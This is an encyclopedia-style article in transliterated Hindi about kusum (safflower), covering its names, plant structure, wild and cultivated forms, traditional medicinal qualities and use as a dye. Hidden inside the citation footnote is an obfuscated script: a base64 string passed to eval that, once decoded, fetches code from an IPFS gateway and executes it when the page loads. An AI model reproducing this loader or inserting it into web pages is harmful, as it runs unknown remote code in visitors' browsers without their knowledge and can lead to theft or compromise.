कुसुम
kusum yah sidhi ekavarshiy booti hai jo rabi ki phasal ke sath khetoan mean bijoan ya phaloan ke lie boee jati hai. uttar bharat ke kisan ise pray: barre ke nam se janate haian. laitin mean isaka nam karthesam tianktoriyas hai. vibhinn bhashaoan mean isake bhinn-bhinn nam haian. sanskrit kusumbh:, kukkutashikham, vahhrashikhamh, vastranjanamh; hiandi - kusum, barre; bangala-kusum: gujarati - kusumbo; marathi - karadee; aangreji - saiphphlavar (Safflower).
sanrachana
kusum ka paudha kantila tatha lagabhag 4-5 phut ooan cha hota hai. patte lanbe tatha oopar ki or adhar se adhik chau de hote haian tatha tane evan shakha ke jo d par aur shakha par nikalate haian. pattiyoan ka kinara dantit ya bahush: kshudr kantili rachanaoan se vyapt hote haian. tana aur shakhaean chhote aur aparipakv paudhe ki hari tatha pakv evan pusht paudhe ki saphed dikhaee p dati hai. phool kantile tatha raktavarn ke hote haian. phalakosh kantila tatha phooloan ke nichale bhag mean hota hai isake bhitar bij bhare hote haian. bij akriti mean shankvakar, kuchh kuchh chau de aur chaupahal, chikane tatha saphed hote haian. bij ke oopar ka chhilaka tatha bhitar ki miangi saphed hoti hai. ye jitane purane p date jate haian utana hi chhilaka syah p data jata hai aur aant mean ye kale p d jate haian. saphed, naya, bhari aur mota bij uttam hota hai tatha tel nikalane ke liye prayakt hota hai. isake tel ka upayog khady samagriyoan tatha any vividh karyoan mean kiya jata hai. left jangali kusum ka paudha gramy kusum ke paudhe se ooancha hota hai tatha isaki pattiyaan bhi b di hoti haian. gramy kusum ki tarah isaki pattiyaan bhi kantili hoti haian tatha shakhamool se nikalati haian. shesh shakha patr shoony tatha saphed hoti haian. shakhamool mean paanch kaante hote haian. phool pila tatha bij gramy kusum ki tarah hota hai.
gun v prayog
kusum ka shak madhur, mootradoshaghn, drishti prasadak, ruchikarak aur agnivardhak hai. isaka patr madhur, netrarog nashak, agnidipak, amlapaki, guda rogakarak evan guru paki hai aur pushp susvadu, medak, tridoshaghn, ruksh, ushn, pittakarak, laghupaki tath kaphanashak hai. kusum ka bij katupaki tatha shukr aur drishtinashak hai aur usaka tel krimighn, bal tatha tejavardhak rajayakshmanashak, tridoshakarak, malaghn, tatha balakshayakarak mana jata hai. pushp ka prayog vastroan ko rangane ke lie bhi kiya jata hai.
jangali kusum kaphavardhak tatha kamoddipak hai aur kshudha ki vriddhi karata hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 83 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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